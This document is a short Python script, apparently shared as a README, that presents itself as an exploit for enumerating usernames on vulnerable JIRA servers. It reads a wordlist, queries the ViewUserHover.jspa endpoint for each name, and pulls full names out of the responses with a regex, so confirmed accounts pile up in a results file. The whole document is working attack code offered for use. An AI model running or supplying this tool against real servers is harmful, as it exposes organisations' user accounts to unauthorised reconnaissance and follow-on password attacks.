README.md
Rendering markdown...
import argparse, requests, re, sys
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="url to vulnerable JIRA server", type=str)
parser.add_argument("-w", "--wordlist", dest="wordlist", help="wordlist with usernames to test")
parser.add_argument("-o", "--output-file", dest="output", help="output file for results, if none specified it outputs to console")
args = parser.parse_args()
if not args.url:
parser.error("Please specify a vulnerable JIRA server")
if not args.wordlist:
parser.error("[-] Please Specify a wordlist containing usernames")
if args.output:
global bool_outputfile
bool_outputfile = True
return args
def show_banner():
print("""\n
+-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
|J|I|R|A| |U|s|e|r|n|a|m|e| |V|a|l|i|d|a|t|o|r|
+-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
made by rival23\n
""")
def show_arguments(options):
wordlist = options.wordlist
print("vulnurl = " + options.url)
print("wordlist = " + wordlist)
print("")
def exploit(options):
f = open(options.wordlist, "r")
for username in f:
r = requests.get(options.url + username.strip('\n'))
pattern = re.compile('<a id="avatar-full-name-link" title=".*" href=".*\n(.*)')
test = pattern.findall(r.text)
if test:
if bool_outputfile == True:
f2 = open(options.output, "a")
f2.write(test.pop().lstrip() + ":" + username.strip('\n') + "\n")
else:
print(test.pop().lstrip() + ":" + username.strip('\n'), file=sys.stderr)
if __name__ == "__main__":
bool_outputfile = False
options = get_arguments()
options.url = options.url + "/secure/ViewUserHover.jspa?username="
show_banner()
show_arguments(options)
exploit(options)
print("[+] exploit completed.")